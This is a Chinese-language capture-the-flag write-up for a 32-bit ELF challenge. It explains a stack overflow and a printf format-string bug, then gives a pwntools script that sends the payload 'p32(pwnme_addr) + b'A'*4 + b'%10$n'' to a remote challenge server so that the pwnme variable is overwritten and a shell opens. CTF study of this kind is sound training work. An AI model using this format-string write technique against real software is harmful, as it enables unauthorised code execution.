题目描述

菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用

Solution

首先分析文件信息:

008-1.png

这是 ELF32 文件,开启了金丝雀栈保护器,栈不可执行,不是位置无关程序。运行程序,输入名字和信息后打印Thank you!退出。把它拖入 IDA 分析。

008-2.png

该程序有 2 个问题,第一个是读取input_name的时候有栈溢出;第二个是printf()函数直接打印用户输入的message,有格式化字符串漏洞

008-3.png

我们的目标是把全局变量pwnme的值改成8,这样程序就能夺 Shell。

我们先确定偏移量:

008-4.png

可以发现偏移量是 10。这样我们构造的格式化字符串为:pwnme_addr + b'A' * 4 + '%10$n'。其中$10Direct Parameter Access(DPA) 技术,它可以从格式化字符串中直接寻找我们指定的参数。

Python 漏洞利用脚本如下:

  1. from pwn import *
  2. #conn = process('./008')
  3. conn = remote('111.200.241.244', 50067)
  4. pwnme_addr = 0x0804a068
  5. name = 'john'
  6. conn.sendlineafter('name:', name)
  7. payload = p32(pwnme_addr) + b'A' * 4 + b'%10$n'
  8. conn.sendlineafter('please:', payload)
  9. print(conn.recvall())

运行效果如下:

008-5.png